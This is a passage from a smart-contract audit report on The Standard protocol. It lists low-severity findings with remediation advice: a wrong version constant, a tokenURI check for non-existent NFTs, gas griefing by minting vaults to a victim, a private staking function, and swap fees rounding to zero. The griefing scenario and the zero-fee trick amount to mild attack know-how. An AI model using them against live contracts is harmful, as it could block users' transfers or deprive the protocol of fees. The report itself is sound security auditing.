In the following code we can see the version field set for two previous versions of SmartVault (the code is taken from TheStandard main repo):

SmartVault.sol

17:     uint8 private constant version = 1;

SmartVaultV2.sol

20:     uint8 private constant version = 2;

And here is (in scope) version of SmartVaultV3:

SmartVaultV3.sol

19:     uint8 private constant version = 2;

As we can see, SmartVaultV3 incorrectly specifies its version.

Impact

The affected version field is used in two places:

  1. It's a part of the data returned by an external function SmartVaultManagerV5.vaults (which provides information about all current vaults managed by the VaultManager).
  2. Also, it's used by NFTMetadataGenerator.generateNFTMetadata to generate NFT metadata for a particular SmartVault. This NFT data used in the smart vault dashboard UI (like here) and allows borrowers to manage/sell their vaults.

Basically, incorrect SmartVault version will likely break mentioned protocol's integrations, because the version is expected to be used to differentiate between different versions of deployed contracts. And since the version of a vault can't be updated after creation, borrowers will experience issues with managing/selling their vaults.

Recommendations

Update version field in SmartVaultV3 to correctly match current version:

diff --git a/contracts/SmartVaultV3.sol b/contracts/SmartVaultV3.sol
--- a/contracts/SmartVaultV3.sol	(revision c12272f2eec533019f2d255ab690f6892027f112)
+++ b/contracts/SmartVaultV3.sol	(date 1703704412808)
@@ -16,7 +16,7 @@
 
     string private constant INVALID_USER = "err-invalid-user";
     string private constant UNDER_COLL = "err-under-coll";
-    uint8 private constant version = 2;
+    uint8 private constant version = 3;
     bytes32 private constant vaultType = bytes32("EUROs");
     bytes32 private immutable NATIVE;
     address public immutable manager;

L-11. doesn't follow the EIP standard

Submitted by IceBear, Bauer, 0xAsen, 0xRizwan, tsvetanovv, matej, slvDev. Selected submission by: IceBear.

Relevant GitHub Links

https://github.com/Cyfrin/2023-12-the-standard/blob/main/contracts/SmartVaultManagerV5.sol#L94

Summary

doesn't follow the EIP standard

Vulnerability Details

The tokenURI method does not check if the NFT has been minted and returns data for the contract that may be a fake NFT

Impact

By invoking the SmartVaultManagerV5.tokenURI method for a maliciously provided NFT id, the returned data may deceive potential users, as the method will return data for a non-existent NFT id. This can lead to a poor user experience or financial loss for users. Violation of the ERC721-Metadata part standard similar finding: https://github.com/code-423n4/2023-04-caviar-findings/issues/44

Tools Used

Recommendations

Throw an error if the NFT id is invalid.

L-12. Attackers can mint vaults to a victim to gas grief them

Submitted by carrotsmuggler, Phantomsands, carlitox477, 0x996. Selected submission by: carrotsmuggler.

Relevant GitHub Links

https://github.com/Cyfrin/2023-12-the-standard/blob/91132936cb09ef9bf82f38ab1106346e2ad60f91/contracts/SmartVaultManagerV5.sol#L139-L142

Summary

When a user mints a vault and the tries to send it, the _afterTokenTransfer of the ERC721 vault token is invoked. This is shown in the snippet below.

smartVaultIndex.transferTokenId(_from, _to, _tokenId);
if (address(_from) != address(0))
    ISmartVault(smartVaultIndex.getVaultAddress(_tokenId)).setOwner(
        _to
    );

This calls the transferTokenId function, which actually loops over all the user's owned tokens. It eventually calls removeTokenId in SmartVaultIndex.sol as shown below.

uint256[] memory currentIds = tokenIds[_user];
uint256 idsLength = currentIds.length;
delete tokenIds[_user];
for (uint256 i = 0; i < idsLength; i++) {
    if (currentIds[i] != _tokenId) tokenIds[_user].push(currentIds[i]);
}

While this function is out of scope, it is being called by the in-scope contract. The function above loops over all the vaults of the user. Thus if the user owns a lot of vaults, this can balloon the gas cost for transfers. Since there is no limit to the amount of vaults a user can own, this can also consume more gas than the eth gas limit and thus always revert.

Further, a malicious user can target a victim and mint and send vault tokens to the victim, inflating their list of vaults. This will inflate the gas costs of the victim, and might even lock them out of transferring the vault erc721 tokens if the gas costs exceed the block limit.

Since this allows an attacker to block transfers of another user, this is of critical severity.

Vulnerability Details

The griefing can be done as follows.

  1. Alice owns a vault, and want to transfer/sell it.
  2. Bob mints 10000 vaults to himself and transfers them to Alice.
  3. Alice either has a huge gas bill when she tries to transfer the vault, or she is unable to transfer the vault at all.

Impact

Potential out of gas griefing attack.

Tools Used

Manual Review

Recommendations

Add a limit for the amount of vaults a particular user can own.

L-13. consolidatePendingStake() should be public

Submitted by charlesCheerful.

Relevant GitHub Links

https://github.com/Cyfrin/2023-12-the-standard/blob/main/contracts/LiquidationPool.sol#L119

by CarlosAlegreUr

consolidatePendingStake() should be public 🔢

Summary 📌

Currently, as consolidatePendingStake() is private, your stake is active only if someone does one of these actions: stakes, unstakes or liquidates. If these actions dont happen at least once every day the pending stakes won't be updated and users will have to execute one of this actions just to activate their old stakes.

These exposes users to an unnecessary risk of having their pending stake not activated and thus not earning rewards on it.


Vulnerability Details 🔍 && Impact 📈

If these actions are happening every day there is no problem. But if not users have to lose extra unnecessary money activating their old stakes or they will be missing rewards.

The frecency is at least once every day because the deadline parameter is calculated like so:

    function consolidatePendingStakes() private {
        uint256 deadline = block.timestamp - 1 days; // <---- 🟢 DEADLINE 
        for (int256 i = 0; uint256(i) < pendingStakes.length; i++) {
            PendingStake memory _stake = pendingStakes[uint256(i)];
            if (_stake.createdAt < deadline) { // <---- 🟢 Check for the deadline
               // Activate pending stake logic 
            }
        }
    }

Tools Used 🛠️

  • Manual audit.

Recommendations 🎯

Make consolidatePendingStakes() public so anyone can call it and activate the stake without having to operate by increasing, decreasing stake or someone being liquidated on the system. This should not be a problem as the function does not change state in an uncontrolled way.


L-14. Potential zero swap fee in SmartVaultV3::swap function

Submitted by Bube.

Relevant GitHub Links

https://github.com/Cyfrin/2023-12-the-standard/blob/91132936cb09ef9bf82f38ab1106346e2ad60f91/contracts/SmartVaultV3.sol#L215

Summary

The SmartVaultV3::swap function calculates the swapFee based on the input _amount parameter, the swapFeeRate and HUNDRED_PC obtained from the ISmartVaultManagerV3(manager). If the _amount is a small, the swapFee can be 0 due to the rounding down by division.

Vulnerability Details

In the deploy.js script the swapFeeRate is set to 500. The HUNDRED_PC variable is a constant and it is set to 1e5. Therefore, if the _amount parameter is a small (lower than 200), the value of swapFee will be 0:


    function swap(bytes32 _inToken, bytes32 _outToken, uint256 _amount) external onlyOwner {
@>      uint256 swapFee = _amount * ISmartVaultManagerV3(manager).swapFeeRate() / ISmartVaultManagerV3(manager).HUNDRED_PC();
        address inToken = getSwapAddressFor(_inToken);
        uint256 minimumAmountOut = calculateMinimumAmountOut(_inToken, _outToken, _amount);
        ISwapRouter.ExactInputSingleParams memory params = ISwapRouter.ExactInputSingleParams({
                tokenIn: inToken,
                tokenOut: getSwapAddressFor(_outToken),
                fee: 3000,
                recipient: address(this),
                deadline: block.timestamp,
                amountIn: _amount - swapFee,
                amountOutMinimum: minimumAmountOut,
                sqrtPriceLimitX96: 0
            });
        inToken == ISmartVaultManagerV3(manager).weth() ?
            executeNativeSwapAndFee(params, swapFee) :
            executeERC20SwapAndFee(params, swapFee);
    }

Let's consider the value of swapFee if the _amount is 20:

uint256 swapFee = 20 * 500 / 1e5

In that case the value of swapFee will be 0 due to the rounding down by division.

Impact

If the _amount parameter in SmartVaultV3::swap function is lower than 200, the calculated amount for swapFee variable will be 0. That allows the users to swap small amounts without fees. That can be issue for the protocol, because the protocol will not receive fees for small values of _amount.

Additionally, if the SmartVaultV3::swap function calls the SmartVaultV3::executeERC20SwapAndFee function with swapFee parameter equals to 0 and the protocol will use in the future weird ERC20 tokens which revert on zero value transfer (e.g. LEND), the entire transaction will fail, including the swap operation.


   function executeERC20SwapAndFee(ISwapRouter.ExactInputSingleParams memory _params, uint256 _swapFee) private {
@>      IERC20(_params.tokenIn).safeTransfer(ISmartVaultManagerV3(manager).protocol(), _swapFee);
        IERC20(_params.tokenIn).safeApprove(ISmartVaultManagerV3(manager).swapRouter2(), _params.amountIn);
        ISwapRouter(ISmartVaultManagerV3(manager).swapRouter2()).exactInputSingle(_params);
        IWETH weth = IWETH(ISmartVaultManagerV3(manager).weth());
        // convert potentially received weth to eth
        uint256 wethBalance = weth.balanceOf(address(this));
        if (wethBalance > 0) weth.withdraw(wethBalance);

Tools Used

Manual Review

Recommendations

Implement a minimum fee threshold to prevent the fee from being zero. Add validation checks to ensure that the calculated swapFee is greater than zero before proceeding with the swap. While the risk of financial loss due to a zero swapFee is low, it is important to address this issue to ensure that the protocol's fee mechanisms are enforced as intended.